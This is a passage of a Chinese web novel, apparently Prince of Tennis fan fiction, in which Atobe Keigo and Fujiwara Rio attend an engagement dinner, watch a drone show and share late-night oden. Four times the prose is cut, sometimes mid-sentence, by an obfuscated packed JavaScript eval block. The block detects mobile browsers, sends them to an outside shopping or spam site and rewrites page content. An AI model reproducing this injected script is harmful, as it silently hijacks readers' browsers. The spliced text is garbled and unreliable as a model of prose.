“会长放心,既然我答应了你接会计一职,肯定不会半途撤离的。” 梨央也戏谑地回应他:“你管多久学生会,我就管多久学生会的账,当好你的左膀右臂。” 迹部景吾:“……” 迹部景吾沉吟了一秒,两秒,三秒。 突如其来的断档空白。 梨央:“……” 她不明白,会长高速运转精密得如同齿轮的大脑,因她这句话突然崩了哪个轴承,竟然让其停摆片刻。 毕竟是在级部讲话、优秀生代表发言、学生会会议等一众场合中,不用提前打稿子,即兴发挥也能精彩发言,引起底下人掌声雷动的会长。 好怪哦。 她觉得她现在是越来越看不懂会长这人了。 既然会长不说话,那就她来说点话吧。 总不能让气氛尴尬着。 她停下手中的铅笔,努力从聊天库翻翻有什么安全话题。 有了有了,不如问问会长下午上了什么课,章节难不难。A班和B班的任课老师大多重叠,围绕该话题能叭叭有的没的一大堆。 花一秒沉思。 第五秒,她接过活跃氛围的任务之前—— “嗯,”迹部景吾再次开口,轻缓道,“一言为定。” “藤原,你不能食言。” 少了一些闲聊的随性。 多了几分订立契约般的郑重其事。 在除开他们两人之外,唯有空晃日色填充的部活室里,他的声音挟裹了风,凸显出独有的低沉、瓷实质感,简直掷地作金玉声。 梨央:“。” 原来刚才他没在开玩笑,会长是真担心万一她辞职跑路了,他又要再去焦头烂额地找人。 人事频繁变动是挺让人头疼。 将心比心,她能理解会长的忧虑。 “当然不会食言,”梨央故作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665721|142301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严肃地一字一句道,“说谎的人吞一千根针。” 嘶,话出口,感觉自己好像那个渣男发誓。 四指朝天,稍息立正,信誓旦旦地大声对爱人说着“爱你一万年如果违背誓言天打雷劈!” 梨央朝窗外瞥了一眼。天气晴朗,阳光普照,万里无云,没有要打雷的迹象。 不过她也不用怕,她说的都是真心话,天打雷劈再怎么也劈不到她头上。 真诚,乃最好用的必杀技。 分针一圈一圈绕钟面旋转。指向最底下的“6”这个数字时,迹部荣一叔叔的短信如约而至。接到通知,她和迹部景吾遂大概收拾一番,从戏剧部的部活室离开。 会长专用·拉风流线型骚紫色加长豪华轿车,停在学校的侧门。 此处是一条小路,为防学生逃课溜出校外当街溜子,早就已经被校方封锁,因此根本无旁人路过。 然而,今天却破例临时启用。 梨央有理有据地推测,不走大门走侧门,可能是要将她和会长——或者称作藤原和迹部两家的事情更妥当——暂时保密,不让他人窥探。 今晚敲定关键事宜(她估计不仅限于她和会长)之前,禁止泄露风声。 商海沉浮的世界,一切小心谨慎为上。 一路上她不多说话,安安静静地坐在会长身边,跟着他从学校上车,坐车,下车,进入洲际酒店大门,坐电梯直行到顶楼花园餐厅。 跟随等候多时的服务生指引,穿过一条走廊,来到一间较为僻静的包厢。 迹部景吾上前一步推开包厢大门,梨央紧随其后,踏入灯火辉煌的领域。 一桌都是熟人,父亲,哥哥,荣一叔叔,瑛子阿姨,以及会长的爷爷。熟悉的脸,熟悉的名字,按理说她足够坦然应对。 但数道目光齐齐聚焦于她身上,仍是有些克制不住地紧张。 在这个时刻,某种她刻意回避,一想起来就要按住胸骨间疯狂的跳动,迫不及待将其埋进杂物堆里,最直白的事实—— 清清楚楚拖拽出来,强制曝光到意识中。 过了今晚,她的身份,就不再止是藤原家的小女儿,也不止是瑛子阿姨挚友的孩子。 以后登迹部家的门,她便不再是“客人”。 而是…… 好了,够了。她在心里低声说。 迹部景吾低头瞟了她一眼,用握紧成拳的手背,轻柔地抵了抵她的掌心。 坚实的指节,带着恰到好处的力量感和支撑感。 “别紧张,有我在。” 只有两人听得见的音量,他安抚着她。 17.17 迹部景吾不动声色地靠拢她,遮挡住她三分之一的身形。 不需要特别说明,她已经明白他的用意。 他主动吸引了在座人的目光,并在两人之间担当起桥头堡的角色。 所以这个“不动声色”在她心里其实是动声色的。他亲口所言,他亲身实行,将“别紧张,有我在”这句话切切实实地落到了实处。 他的话,和他抵住她掌心的动作一样,具有真切、扎实的力量感。 梨央在他身后偷偷瞄一眼看他。 会长,还是一如既往的靠谱。 她微低着头,若无其事地抿下一瞬间浮现的明显笑意。 “伯父,藤原君。” 迹部景吾率先开口,第一个叫的是梨央父亲和哥哥的称谓。 座上宾总是事事优先,以示重视和敬意。这类社交方面的礼仪,他身为下一任顶级世家的继承者,理所应当地做得滴水不漏。 而后才轮到他自己的家人。 “爷爷,父亲,母亲。” 逐一打过招呼,他大方得体地解释:“路上有些堵车,我和藤原来晚了,让您们久等。” 有了迹部景吾打头阵,梨央紧张的心情稍微回落到平静的边缘。 她亦步亦趋地跟着他,随同他一道向在场的长辈问好。 不过她的顺序和迹部景吾正好相反。 先将迹部景吾的祖父、父母排列在前,自己的父亲和哥哥则挪位在后,以示礼节方面藤原家的家教并不输于迹部家。 “不晚不晚,小景你们来得正好。” 坐在他们正对面,落地窗前的迹部瑛子热忱地招手,“来,梨央,快坐到我身边来。特地给你们两留的位置。” 五个人,七张靠椅。一个半封闭的圆圈,只瑛子阿姨和荣一叔叔之间有缺口。 这意思相当明显——想让她跟着迹部景吾坐到迹部家的那一边去,而不是往自己的父亲和哥哥身边凑。 在今晚具有特殊意义的场合,此举隐藏一种心照不宣的含义:接纳。 迹部家显然已经将她视为了自己人。 更明确地说,是将她视为了家人,组成迹部家重要的一份子。 隔着一重人影,梨央稍微偏头,用眼神征询父亲的意见。 父亲无声微笑,小幅度地对她颔首。 她心领神会,跟随迹部景吾,绕过父亲和哥哥身后,径直走到迹部瑛子身边。 迹部景吾先拉开梨央的座位,等她坐下后,再拉开自己的座位,最后一个入座。 一落座,梨央状似随意地抚平校服裙摆。 其实她的裙摆不用她抚弄,从早到晚一直能保持平平整整。 每一天外出她所要穿的衣服,头天晚上都会由田中管家安排专人熨烫。再者,冰帝的校服用料也上乘,挺括柔软,学生再怎么跑跳打滚,衣裙折角也起不了太多褶皱。 于是,这个动作的自我调节意义更大。 她必须尽快将心态放平,摒弃毫无大用的拘束感和不自在心理。 毕竟没有人强迫她,拿刀架她脖子上逼她接受会长昨天抛出的“橄榄枝”。 你自己选的嘛,偶像.jpg。 又想要好处,又不想接受因此产生的影响和变化,上哪找这种两全其美的美事。 梨央伪装成神态自若的模样,挺直脊背,暗暗深呼吸了几次。 会长的爷爷,荣一叔叔开始同父亲有说有笑地交流情况。但他们离她太远,梨央听不清到底说了些什么。不过她猜,谈话中闲谈占比较少,大部分应该还是和生意相关。 实话实说,在她们家当前已然深陷泥淖的情况,会长的父母、爷爷竟能如此顺利地同意和她们家深度绑定,梨央多少还是有些惊讶。 无论是父亲在饭桌上对哥哥进行的事例教育,还是姑姑在美国和好友的吐槽,都曾让她听到不少名利场为了利益掐生掐死的凶险。 明哲保身,隔岸观火是基操。 落井下石,乘人之危踩一脚也屡见不鲜。 见过联姻后因一方败落而光速退婚的。 还真没见过一方麻烦缠身的时候,另一方上赶着跳火坑来求婚的。 ——虽然比喻不太恰当,姑且先这么套用吧。 从这个角度而言,瑛子阿姨一家确实称得上天神下凡,度化她家来了。 锦上添花是好,雪中送炭更可贵。 因此,为了给予瑛子阿姨对等的热情回应,她决定现在主动和瑛子阿姨交谈。 不然怕会让瑛子阿姨觉得热脸贴了冷脸,恐怕要寒了瑛子阿姨的心。 “瑛子阿姨,”梨央乖巧地贴向迹部瑛子,“您今天带的这枚胸针看着很眼熟,我好像在哪里见过。” 听见她积极地贴贴搭话,迹部瑛子迅速转过脸。那双和迹部景吾七分相似的锋锐眉眼,笑得神采飞扬,像一把镶满名贵宝石的太刀。 “这就是你之前送给我的生日礼物呀。” 迹部瑛子取下胸针,小心摊在手掌上伸给她看,“三年前你特意让你姑姑从美国带回来给我的,你自己不记得啦?” 梨央贴得更近了些,几乎黏在她的手臂上。 刚才迹部瑛子是侧着身体。她坐于迹部瑛子右手边,胸针戴在离较远的左边衣领下,所以并不能看得太清晰。 现在那枚胸针映衬着灯光,在她视野中折射出彩虹状的光团。 轮廓、质地、做工——她一眼就认出来了。 这是三年前,她亲自画了设计稿,每一道工序都由她全程盯着专服务于她家的高定工作室,耗时一个月才制作完成的,送给瑛子阿姨的生日礼物。 取老虎和蔷薇的意象,融合成迹部家的家徽,既具有威势,又兼得柔美。 而且,瑛子阿姨本身也有养老虎当宠物。 “母亲她很喜欢这枚胸针,”迹部景吾在她耳边,泛着笑意轻声道,“很多重要场合都会戴着这枚胸针出席。” 梨央:“!” ——哇,真的吗?! 卷毛小花猫疯狂拍手·happy happy happy中—— “怎么样,好看吗?”迹部瑛子重新戴上胸针,挑眉问她。 “好看好看!”梨央兴高采烈地猛猛点头,“瑛子阿姨戴什么都好看的!” 虽然礼物送出去了,要怎么处置是对方的事,送礼者无权干涉。但能被对方如此珍视,并且发挥出礼物的最大价值,还是非常—— 开心开心开心!!! 玻璃杯里的橙汁都多喝了两杯。 包厢内,成年人在聊成年人的事,学生们在炫学生们的饭。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13673206|142301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不知道是什么原因,或许是橙汁喝得太多,又或许是因为洲际酒店的战斧牛排脂肪较厚,一刀切下去,呲啦呲啦往外冒油花,夏天又热,总觉得油腻腻的,不清爽。 没有太多的胃口。 摆烂似进食(指夹一筷子菜抿两三分钟)混过半个小时,梨央的眼光四处在墙上乱转。 墙纸上,一朵花、两朵花、三朵花…… 眼前渐次出现像电视机短路时的雪花。 “景吾。” 猝不及防间,迹部荣一沉稳的嗓音突兀穿插,中断了她逐渐空茫泛白的意识。 迹部荣一的眼光看了看她,又看了看迹部景吾,温和道:“我看今天晚上的夜景不错,你带着梨央出去走一走吧。老是待在包厢里,也闷得慌。” “是啊,小景,”迹部瑛子笑眯起眼睛,附和着说,“都是已经订婚的年轻人,自己出去玩玩吧,就别陪着我们这些无趣的老年人在这里干坐着了。” 父亲亦从善如流地慈祥微笑:“未婚夫妻,多培养一下感情也是好的。” 噢。 潜藏的话外音梨央品出来了。 这是要谈一些学生不能听的行动。 她能懂的潜台词,迹部景吾当然也能懂。 所以他没有多说半句,不慌不忙地喝下一口水,优雅地折起餐巾擦了擦嘴。 “好的,父亲,”迹部景吾先起身,而后虚扶着她的手臂,帮她拉开靠椅,“你们慢聊,我们先不打扰。” 梨央恍恍惚惚缀在迹部景吾身后出门。 脑子里像旋转木马似的,转来转去全是父亲的最后一句话。 ——“未婚夫妻,多培养一下感情也是好的。” 未婚夫妻…… 未婚夫妻…… 未婚夫…… 未婚妻…… 虽然她在踏进包厢门的那一刻,对这个直白的事实有了刻骨铭心的深刻认识。 但是,知道,和亲耳所听,两者带来的杀伤力与冲击力大!不!一!样! 梨央:啊啊啊啊啊,救命—— 梨央心里发出一声尖锐爆鸣。 卷毛小花猫疯狂拍手,变身成卷毛小花猫抱头蹲下疯狂尖叫。 她恋爱都还没有谈过半点,身份这就要超级加辈了吗—— 暗处的尖叫声余音绕梁。 突然,一阵细风降落到她身上,卷起凌乱的清甜香味,像长在湖边的丛丛水仙花,沾染氤氲水汽,附着在她身上,浓得掸也掸不散。 是一件不知道何时出现的干净白衬衫。 正裹着她的上半身。 她愣住,白衬衫的领尖戳抚到她的鼻尖,轻微地发痒。 梨央抬起头,撞上了恰巧也注视着她,揉碎了深黑夜色的眼睛。 “手臂起这么多鸡皮疙瘩。” 迹部景吾微蹙眉间,唇边却是克制不住的上扬角度。 “觉得冷也不知道找我要件衣服多穿点。” 梨央:“?” “我不是,我没有,我不冷。”她下意识地三连否认。 “嗯哼?” 迹部景吾闻言笑了。他双手插进裤兜,俯身迫近她。 阴影铺天盖地侵略到她头顶。 “不冷的话,那,你在激动些什么?”他缓声问。 18.18 梨央被完全占领进了他的领域中。 他的影子纤长,他的气味浓烈,还有那双俯视着凝望她的眼睛。 一浪一浪翻滚的蓝墨色,再进一寸仿佛就要把她整个人吞噬其中。 她稍微往后退了一步,下意识地抓紧身上的衬衫。企图利用这一层庇护与他隔开,挡住他的威势,给自己多少留一点领地主权。 ——然后,她发现这完全是大错特错的决策! 因为身上这件白衬衫,还是他的。 拢得更紧,好像是在主动投怀送抱一样。 梨央:“……” 会长,好狡猾,好狡猾好狡猾! 简直太可恶了,他运筹帷幄地知道如何做能让她无处可逃。 她在心底里这么无能为力地愤懑控诉着,腿脚却再也动不了。仰头和他对视,像站在一眼望去只能看到幽幽墨蓝的深海边上。 漂亮,吸引人,也危机四伏。 一瞬间的心悸,一瞬间的窒息,轮番折磨。 小腿发软。 不由自主地屏住呼气和吐气。她慢慢感到发低烧似的头晕。 “啊嗯?” 得寸进尺的侵略者,对她发出一个游刃有余的低沉短音。 “怎么不说话?” 迹部景吾微眯起眼睛。那束从他额发下刺出的光,更具有穿透性,像揪出敌人的探照灯。 一点尖利,一点戏谑,但都是很随意的调子,是以没有其他意思,只是和善地调侃她。 见她久久不回答,忽然又浮出些玩味的笑。 “藤原梨央,”他字句清晰地咬出她的名字,“有时候我真不知道你到底在想什么。” “……没有想什么,明明是会长你自己想太多,”梨央小声又极具底气地反驳,“我才没有激动。” “没有激动,又不觉得冷,你手臂起这么多鸡皮疙瘩?”问题又转回原点,他似乎不肯轻易在这个节点上睁一只眼闭一只眼。 “有风,”这回她声音变大了,从小声喵喵到大声哔哔,“酒店空调的风开得好大。” 笃定老成的语气,极具确定性。在让别人相信之前,先让自己相信。不然,会长这脑瓜子可不好糊弄——总不能傻里傻气地告诉他,自己是因为“未婚夫妻”这几个字,在心里咿咿呀呀了老半天吧? 实在丢不起这个人。 会长面对这件事能如此泰然处之,而她却沉不住气如此毛躁,搞得她好像多在意似的。 太丢脸了。 迹部景吾挺直了和她身高处同一水平的弯下的脊背。笼在她头顶的阴影退守了。他的双手仍揣在裤兜里,目光认真地探索她的神情。 似乎真相蕴藏在她的脸,她的眼睛里,而不是吹空调风的酒店。 最后得出结论—— “嗯,风是有点大。”他笑着点头。 梨央:“……” 怎么总觉得会长在阴阳怪气她…… 迹部景吾转身,迈开大长腿向前走。 “会长,”梨央紧跟其后,脱下白衬衫,伸手,“你的衬衫……”既然不感到冷,还是赶紧还给会长好了。 “晚上风大,你先拿着,不急着还我。” 他走了几步,忽然停下,又调转脚步看她。 “藤原,有想去的地方么?” 要说特别想去逛的地方……还真没有。 除了有时候陪真纪遛狗,她基本没有晚上散步消食的习惯。 “我暂时想不到有什么想去的地方,”她将衬衫搭在手臂上,反问,“会长你呢?你有想去的地方吗?” “我么?” 迹部景吾站在离她三四步远的地方。 酒店堂顶上的灯不亮,一团迷糊的湿晕,像薄雾沾在他的眼睫上。 “我想去哪里不重要,”他凝视着她,眼中的笑意不散,“我都听你的。” ……得,选择权又转回到她这里。 好吧,既然如此,今天晚上就让她做一回会长的主,让会长跟着她走吧。 她往东,会长就往东。 她往西,会长就往西。 真没想到有朝一日,她居然也能做上会长的主了……虽然不是什么大事,想想还真是新奇的体验,有点小得意。 她的视线在酒店中四处乱转,注意到走廊旁有一个延伸出去的露天花台,正对着海湾。 对面的天空上,像缓缓拉开一块大剧幕,展示出无人机翻转扬升的表演。五颜六色的尾气拖拽,在黑色穹顶上画出绚烂的图案。 梨央兴致勃勃地一指花台方向,“会长,我们去那边看看吧。” “好。”迹部景吾愉悦应声。 一副听之任之,被她牵着鼻子走的态度。 露天花台三三两两围拢人,趴在栏杆上,说两句闲话。或抬头观赏天际的无人机表演,或低头眺望脚底下灯火交织的城市。 梨央和迹部景吾挑了较为偏僻的地方,在星光下并肩站立。 她扬起下颏看天,他侧转目光看她。 看着看着,他的身体完全朝向了她的方向。 眼角上扬的角度在黑夜不用加以掩饰。无人机表演被他全然遗忘在脑后。 然而,梨央的注意力已经为高超复杂的无人机表演技术吸引了。 出于i人爱宅不爱凑热闹的个性,许多大型空中表演她几乎很少参加。今天晚上乍然一见,少不了觉得新奇。 她看得沉浸,沉浸在这场精妙的艺术中。忽然,“轰”地一声,一阵巨响炸开,激得周围人纷纷赞叹惊叫。 梨央吓得往后踉跄两步。 幸好迹部景吾眼疾手快,伸出手臂护住她,才好险没让人摔了。 无人机飞绕几圈,开始投放烟花弹。一大片一大片密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702147|142301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 集的光点摇曳,像千万棵树绽出花朵,又像千万颗星子吹落如雨。 “哇——” 梨央睁圆了眼睛感慨一声,忙不迭掏出手机对着天空一顿拍,“赶紧照几张下来,下次附在给姑姑寄的明信片里。” 虽然当前的网络技术已十分发达,就算远隔大洋两头,发信息通过无线通信传递给对方不过分秒,但梨央有时仍保留寄明信片的习惯。 现在她身处日本,每隔一段时间,会写一些趣事,贴几张有意思的照片,通过国际快递不远万里寄送到姑姑手上。 而此前在美国时,“姑姑”这一对象,则会被替换成迹部瑛子阿姨。 她相信,亲笔写下的字迹,塑料相片的质感,有着冰冷的代码无法替代的温度,比光纤更能直白地传递自己的情感。 迹部景吾的视野始终牢牢定格在她身上。 “藤原,”他支起下颌,冷不防开口,“拍的照片等下也发给我几张。” 又想到莫名其妙的恐怕比较生硬,遂补充理由,“我把这些照片寄给英国的发小,让他们也看看我们迹部家的无人机技术。” “啊?这场无人机表演是会长你们家安排的吗?”梨央有些震惊,正主发话她也没有理由拒绝,“好的会长,我回去稍微ps得好看点,再发给你。” “嗯,随你。” “不过会长,你应该没有寄明信片的习惯吧……打算给你的发小写些什么呢?” 她举起手机镜头,一边又拍几张一边开玩笑道,“该不会写‘都来给本大爷看看迹部家华丽的无人机’吧?哈哈哈。” 迹部景吾斜倚栏杆的姿势下压了一点。 眼光落到她润泽了点水光的唇上。 一张一合,他看得分明。她说的话,他却没心思听。 “写什么的话,倒还没想好。”迹部景吾漫不经心答道。 几张虚无的明信片,似乎也没必要费心思遣词造句,绞尽脑汁思考写什么。 不过,如果真有哪一天心血来潮想寄出明信片,要给明信片上加几句描述。 他不会写“都来给本大爷看看迹部家华丽的无人机”这样带有个人特色的段落。 那太无趣了。 远处又响起一声爆裂声。 梨央第二次瞪圆眼睛。这次她没被吓到,眸中的兴致越来越高涨。 他眯起眼。风从鬓角吹过。 或许,可能会写这样一段话。 说他有天晚上,和一个人一起去看了迹部家的无人机表演。 精彩的表演引起阵阵骚动,不愧是他们迹部家的技术。 但他眼里根本看不见这些。 而另一个人却看得很开心。 甚至一边看,一边开心地拍照。 可他却没有这样的待遇。 ——是不是很不公平,雷欧? 好不公平。 19.19 下了一场壮丽的烟花雨,无人机再一次变换队形,交错着下降,爬升,侧翼旋转。 七拐八拐地炫技十分钟之后,黑色幕布上,一个巨大的莫比乌斯爱心环高调闪烁,中间穿一支丘比特之箭,最后一声盛大的礼炮鸣响,为本次表演画上圆满句号。 烟花渐渐散落,周围人的歆羡此起彼伏。 梨央听见离她近的几位穿戴时髦的女士,不停跺脚拍手,面色激动地大声蛐蛐。 “好有创意的ending,这怕不是哪个富家公子哥在满东京告白吧!好浪漫哦,嫉妒,我怎么就没有这么一个富哥男朋友肯为我花这心思。” “这一场下来得花多少钱?没有七位数恐怕摆不平吧?不得了,千金博一笑啊,啧啧。” “可惜没有男女主的名字,吃不了瓜。不然这么大架势,高低得霸占我的社交平台热搜。” “哈哈哈哈,没有名字你眼睛都红成兔子了。要是有名字,你想起来觉都睡不着。你男友今晚做梦做着做着怕不是得挨你两大逼兜。” “不,我才不会给他两大逼兜呢,我只会给自己两大逼兜,谁叫我没这个本事?吃苦那是我应该的。” “哈哈哈哈哈哈哈哈哈……” 梨央遥望一眼所有色彩归于沉寂后的天幕,然后低下头,放大手机屏幕上刚才拍的照片。横看竖看,上看下看,除了一箭穿心图案,什么都没有,连名字缩写也没加一笔。 于是同意刚才那位小姐姐的说法—— 没有男女主的名字,吃不了瓜,可惜。 既高调又低调的,隐私性未免做得太好。 能花这般财力物力精力,联系迹部下辖的公司,于今夜千万人的见证中,诉尽只属于两人心知肚明的情意。作风张扬至此,揣测大概率是她们这个圈子里的人物。 指不定还是她认识的哪位熟人呢。 梨央脑子里瞬间闪过一串人名,觉得都很接近答案,想了想,又觉得每个人似乎都有各自匹配不上的地方。 扒拉翻找半天也点不出一个符合的形象,汹涌的八卦之心熄灭到静如止水。 好想直接问一下会长哦……但是会长应该不太可能告诉她吧。毕竟是客户的私人信息,怎么可以乱传,有悖商业道德啊商业道德。 不过话说回来,这位哥实在怪有文化和内涵的。表白选的不是烂大街直白英文“I love you”,而是几何艺术图案,莫比乌斯爱心环。 ——永不停歇、无穷尽的爱。 心照不宣有时候往往比直抒胸臆更动人。 不管在时间推移中能不能始终如一地守诺,能不能坚守本心,至少在当下,他是真心实意的。这一刻,心意已定格成永恒,想必女主角看见,一定也会很感动。 纯爱战士,应声倒地! 纯爱就是天下第一—— 梨央与有荣焉地嘴角疯狂乱扬,给照片调色调滤镜的手也更有劲了一些。 “好看么?”风中传来轻快微沉的声色,像坚硬翠绿的玉髓,一颗一颗弹落,“今晚这场无人机表演,看高兴了?嗯?” 随随便便的语气,不掺杂其他多余的意味。 因此梨央不疑有他,带着观看表演后的余韵兴头点评:“精彩,好看,爱看,多看。” 甚至想大喊,还有没有其他要表白的兄弟,赶紧联系一下迹部家的无人机公司,多来点多来点,十场八场的她不嫌多。 对此对仗工整的评价,身边人回应的则是一声意气风发的哼笑。 其间的骄傲和洋洋自得,毫不掩饰,足以媲美在球场上获得满贯金奖杯。 好像知道她会这样回答,现实情况正按自己的预判稳步前进一样。 梨央还在刷刷刷地用手指不停放大屏幕点点点,不大留神一直看着她的旁人的动静。 裁切,调色,调曝光度,调对比度,力求ps得能一比一复刻这场表演的全貌。 第一张刷刷刷调试满意,覆盖保存…… 第二张刷刷刷调试满意,覆盖保存…… 第三张刷刷刷调试满意,覆盖保存…… 乐呵呵地循环操作直到第五张。 左滑图库下一张图片,胃部响应着发出虚弱且有气无力的提醒。 梨央向来对身体的变化十分敏锐。她停下手头的工作,眉间轻轻一皱。抬起掌心,小心翼翼地贴于腹部。 ——刚才不好好吃饭的报应来了。 饿了,想吃关东煮。 想吃鱼丸牛肉丸苕皮粉…… 想吃豆腐豆皮洋芋团…… 脑子里开始全自动报菜名。 比起动辄成百上千的精致烹饪牛排,还是这类街头小吃更符合她的胃口。 要出酒店,寻找一个借口叫上会长一起。她不能直接告诉他自己饿了,想吃关东煮。 否则依会长的脾性,八成会潇洒地打一通电话,让人帮她跑腿,自己帮她付钱。她双手一摊什么都不用干,等着饭来张口让人喂白食。 那可不行,人情再小也是人情。 能不欠,就不欠。 “会长,”在迹部景吾勘勘好整以暇地转过视线之后,梨央捏住他的衣角,轻扯了扯,“无人机表演看完了,这里也没有什么好看的了……你觉得现在酒店里会不会太闷了呀?” 迹部景吾一眼看穿她的盘算,但是没全看穿,“想出去走走?” 梨央点头,忽然记起早上在偏僻的地方下车,放学在偏僻的地方上车,沿车库进酒店的狗狗祟祟的偷感,又询问道: “但是我们今天晚上正大光明地在街上一起走,不会出什么问题吗?” 模模糊糊,没说透的一点隐忧。但并不会造成两人间的理解障碍。仿佛对面的人天生具备洞察人心的眼力,不必她多说,他自可以轻而易举与她的真意相连。 “能出什么问题?怕什么?”他给她喂了一颗定心丸,“刚才是刚才,现在是现在。” “从此刻开始,世界上再也没有比本大爷身边更安全的地方。” 一如既往的恣意高傲,然而并不引人反感。 说大话这个词,是专为色厉内荏的弱者设置的。拥有绝顶实力的人,只能叫自信地彰显强大底牌。 ——商业上的精细微操,果然是她玩不转的花活。 正大光明地乘电梯下楼,正大光明地两个人在街上晃悠。 不过正大光明中仍然潜藏着些许狗狗祟祟。这张阴暗爬行感的标签,只贴在梨央一个人身上,信步在侧的迹部景吾则一派光风霁月——因为她要不露痕迹地领他去关东煮店铺嘛。 拐一个蛇行s形,抵达熟识的关东煮店铺。 蹦蹦跳跳朝门口极速冲刺,率先摸出手机,不给会长买单的机会,张嘴准备喊一声老板—— 等一下。 这手机,为什么是黑的?! 梨央有点慌了。摁两三下,手机丝毫不给面子地亮上一亮,继续保持微死状态。 黑色的屏幕反照出她错愕的脸。 破案了,这是没电了。 shift! 内心小人气急败坏,狠狠上蹿下跳。 面上却云淡风轻,努力对着挑眉看她一马当先的迹部景吾,拉直嘴角深吸一口气,绷住淡然的无事发生神态,语气平平—— “会长,我们去那边……” 生硬的转折,隐瞒计划落空的尴尬。 话说到一半。 手腕,被人隔着衬衫抓牢。 温热有力的禁锢,隔着细密的针脚,像沙漠里吹过来带着沙砾的风,热蓬蓬,柔软有棱地摩擦着她的皮肤。 她下意识地企图抽回手,可那个不让她后退的人力气有些大,所以挣脱不成功。 “本大爷饿了,陪我吃顿夜宵。” 他理直气壮地拉着她进了关东煮店,一指门口立起的菜单。 “点。” ——把吃街边摊,也挥洒出了一种在奢侈品店里甩出黑卡说“随便花”的气势。 下意识地想拒绝。她知道会长其实不饿。不愿意麻烦人的那一面根深蒂固地蹦出来。 最终没有说得出口。有人的动作比她更快。 他一只手紧紧攥住她的手,另一只手迅速在虚空中划过,打出一个响指。指尖带着星夜的余色,像精灵挥舞手中的魔法棒。 “老板,来两份关东煮。” “一份牛肉丸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722206|142301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”这份是他自己的。 “另一份,鱼丸牛肉丸苕皮粉,豆腐豆皮洋芋团。”这份是她的。 会长嘴皮子利索得很,点她的菜像在唱rap。 翘摇的发丝晃在她视野中,梨央忍俊不禁地弯起眉眼。 “好嘞,请两位稍等。” 老板忙里偷闲地瞥了两人片刻。老主顾的莅临,加上拉着她手的男生……还是年轻人有活力,年轻好啊。老板感慨一声,挂着暧昧的笑,抄起大勺在煮锅里上上下下。 店内的座位早已满员,喧闹刺耳。迹部景吾扫视一眼,不由分说地拉着她坐到门口的桌位。 他不放开她的手,径直拉她坐到自己身边,免得她老毛病又犯了,腿跟长翅膀似地,飞到离他十万八千米远的地方。 擦掉桌台上的灰,他坦然坐下来。 丝毫不认为灰蒙蒙的路边摊有损他的身份。 梨央一直被他拉着手,像一个好不容易被抓获在案的通缉犯,不看紧点,下一刻就要从他手里潜逃。 直到第一碗关东煮摆在面前,她才被放开,手里塞进一双竹筷。 “吃。” 他抬起眉梢示意,吐出简单有力地一个字。 她望了望他,望了望竹筷,再望了望碗里冒着热气的食物。食欲略占上风,轻松打败其他犹豫的心态。不过一碗夜宵而已,回去算清账转给会长不就好了。 来都来了,点都点了,不吃浪费。 而且,她是货真价实地饿。 不要再纠结太多。 使巧劲一掰,竹筷在她手中应声断成两半。夹一块鱼丸,放进嘴里缓慢品味。 绵软的肉质和鲜香的调味充盈味觉,满口留香。恰巧他的点菜,正和她的喜好完美重叠。 会长,有品! 梨央给迹部景吾点了一个大拇指以示赞扬和感谢——虽然是在心里,他看不见。 一个鱼丸,两个鱼丸…… 一个牛肉丸,两个牛肉丸…… 她吃得欢,身旁同样摆着一碗牛肉丸的人却没有吃。就像刚才在露天花台上,她看无人机表演看得尽兴,他却看不见。 他只是端半杯水,一小口一小口抿。 目光一霎不霎地盯着她吃。 时常有路过的女生们,忍不住往迹部景吾身上递眼风。一颗明珠就算掉进灰土堆,其光彩也无法不摄人。胆子大的甚至掏出手机,打算上前要个号码,被同伴拉住,挤眉弄眼地朝梨央努嘴,那人才不好意思地笑了一下,走开了。 但迹部景吾不曾留意。 就像梨央不曾留意他。 梨央专注地盯着碗里的肉菜。 嗦粉,嗦肉,嗦蔬菜。嘴好忙,眼睛也好忙,不得空闲分点眼神给他。 又是被冷落的一刻重新上演。 不公平。 因此故技重施,叫她的名字。 “藤原。” 坠落在灯影中的声音,犹如淡薄的叹息。 